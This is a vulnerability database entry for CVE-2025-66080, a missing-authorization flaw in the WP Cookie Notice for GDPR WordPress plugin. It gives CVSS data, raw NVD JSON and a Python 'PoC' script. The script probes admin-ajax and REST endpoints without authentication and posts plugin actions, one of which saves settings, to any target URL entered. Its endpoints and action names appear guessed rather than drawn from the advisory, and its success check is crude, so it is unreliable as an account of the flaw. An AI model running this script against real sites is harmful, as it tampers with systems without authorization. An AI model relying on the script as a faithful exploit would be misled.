Security Vulnerability Report
中文
CVE-2025-66080 CVSS 5.3 MEDIUM

CVE-2025-66080

Published: 2025-12-30 16:15:46
Last Modified: 2026-04-23 15:35:20

Description

Missing Authorization vulnerability in WP Legal Pages WP Cookie Notice for GDPR, CCPA & ePrivacy Consent gdpr-cookie-consent allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Cookie Notice for GDPR, CCPA & ePrivacy Consent: from n/a through <= 4.0.3.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

WP Cookie Notice for GDPR, CCPA & ePrivacy Consent <= 4.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66080 PoC - Missing Authorization in WP Cookie Notice Plugin # Affected: WP Cookie Notice for GDPR, CCPA & ePrivacy Consent <= 4.0.3 import requests import sys TARGET_URL = input("Enter target URL: ").rstrip('/') # Identify vulnerable endpoints VULNERABLE_ENDPOINTS = [ '/wp-admin/admin-ajax.php', '/wp-json/wp/v2/settings', '/wp-json/gdpr-cookie-consent/v1/' ] def check_vulnerability(): """Check if the target is vulnerable to CVE-2025-66080""" print(f"[*] Checking target: {TARGET_URL}") print(f"[*] Testing for Missing Authorization vulnerability...\n") # Test unauthenticated access to admin functions for endpoint in VULNERABLE_ENDPOINTS: url = f"{TARGET_URL}{endpoint}" try: response = requests.get(url, timeout=10, verify=False) print(f"[+] Endpoint: {endpoint}") print(f" Status: {response.status_code}") if response.status_code == 200: print(f" [!] Potential vulnerability detected - Unauthenticated access allowed") print(f" Response preview: {response.text[:200]}...") print() except requests.RequestException as e: print(f"[-] Error testing {endpoint}: {str(e)}\n") def exploit_unauthorized_access(): """Attempt to exploit unauthorized access""" print("[*] Attempting to exploit unauthorized access...\n") # Common actions that should require authorization actions = [ ('action', 'gdpr_cookie_notice_save_settings'), ('action', 'gdpr_cookie_notice_get_settings'), ('action', 'save_cookie_consent'), ('action', 'get_cookie_settings') ] for action_name, action in actions: url = f"{TARGET_URL}/wp-admin/admin-ajax.php" data = {action_name: action} try: response = requests.post(url, data=data, timeout=10, verify=False) print(f"[+] Testing action: {action}") print(f" Status: {response.status_code}") if response.status_code == 200 and 'success' in response.text.lower(): print(f" [!] Vulnerable - Action executed without authentication") print(f" Response: {response.text[:300]}...") print() except requests.RequestException as e: print(f"[-] Error: {str(e)}\n") if __name__ == "__main__": check_vulnerability() exploit_unauthorized_access() print("[*] PoC execution completed") print("[*] Note: This is for educational and authorized testing purposes only")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66080", "sourceIdentifier": "[email protected]", "published": "2025-12-30T16:15:46.077", "lastModified": "2026-04-23T15:35:20.180", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in WP Legal Pages WP Cookie Notice for GDPR, CCPA & ePrivacy Consent gdpr-cookie-consent allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Cookie Notice for GDPR, CCPA & ePrivacy Consent: from n/a through <= 4.0.3."}, {"lang": "es", "value": "Vulnerabilidad por ausencia de autorización en WP Legal Pages WP Cookie Notice for GDPR, CCPA &amp; ePrivacy Consent permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a WP Cookie Notice for GDPR, CCPA &amp; ePrivacy Consent: desde n/d hasta 4.0.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/gdpr-cookie-consent/vulnerability/wordpress-wp-cookie-notice-for-gdpr-ccpa-eprivacy-consent-plugin-4-0-3-broken-access-control-vulnerability-2?_s_id=cve", "source": "[email protected]"}]}}